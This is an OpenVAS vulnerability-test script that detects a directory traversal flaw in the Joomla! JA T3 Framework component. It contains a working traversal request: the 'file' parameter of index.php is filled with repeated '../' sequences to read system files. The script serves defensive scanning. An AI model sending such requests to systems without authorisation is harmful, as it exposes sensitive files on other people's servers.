Joomla! JA T3 Framework Component Directory Traversal Vulnerability

##############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_joomla_ja_t3_framework_com_dir_trav_vuln.nasl 7577 2017-10-26 10:41:56Z cfischer $
#
# Joomla! JA T3 Framework Component Directory Traversal Vulnerability
#
# Authors:
# Rachana Shetty <[email protected]>
#
# Copyright:
# Copyright (c) 2012 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation could allow attackers to read arbitrary files
via directory traversal attacks and gain sensitive information.

Impact Level: Application";

tag_affected = "Joomla! JA T3 Framework Component";

tag_insight = "The flaw is due to an improper validation of user supplied input passed
in 'file' parameter to the 'index.php', which allows attackers to read
arbitrary files via a ../(dot dot) sequences.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running Joomla! JA T3 Framework component and is
prone to directory traversal vulnerability.";

if(description)
{
  script_id(902672);
  script_version("$Revision: 7577 $");
  script_bugtraq_id(53039);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"$Date: 2017-10-26 12:41:56 +0200 (Thu, 26 Oct 2017) $");
  script_tag(name:"creation_date", value:"2012-04-25 17:38:13 +0530 (Wed, 25 Apr 2012)");
  script_name("Joomla! JA T3 Framework Component Directory Traversal Vulnerability");
  script_xref(name : "URL" , value : "http://1337day.com/exploits/18065");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/74909");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/111906/Joomla-JA-T3-Framework-Directory-Traversal.html");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2012 SecPod");
  script_family("Web application abuses");
  script_dependencies("joomla_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/installed");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("version_func.inc");
include("http_keepalive.inc");

## Variable Initialization
joomlaPort = 0;
joomlaDir = "";
url = "";

## Get HTTP Port
joomlaPort = get_http_port(default:80);
if(!joomlaPort){
  exit(0);
}

## Get the application directory
if(!joomlaDir = get_dir_from_kb(port:joomlaPort, app:"joomla")){
  exit(0);
}

## traversal_files() function Returns Dictionary (i.e key value pair)
## Get Content to be checked and file to be check
files = traversal_files();

foreach file (keys(files))
{
  ## Construct directory traversal attack
  url = string(joomlaDir, "/index.php?file=", crap(data:"../",length:3*15),
               files[file],"&jat3action=gzip&type=css&v=1");

  ## Confirm exploit worked properly or not
  if(http_vuln_check(port:joomlaPort, url:url, pattern:file, check_header:TRUE))
  {
    security_message(joomlaPort);
    exit(0);
  }
}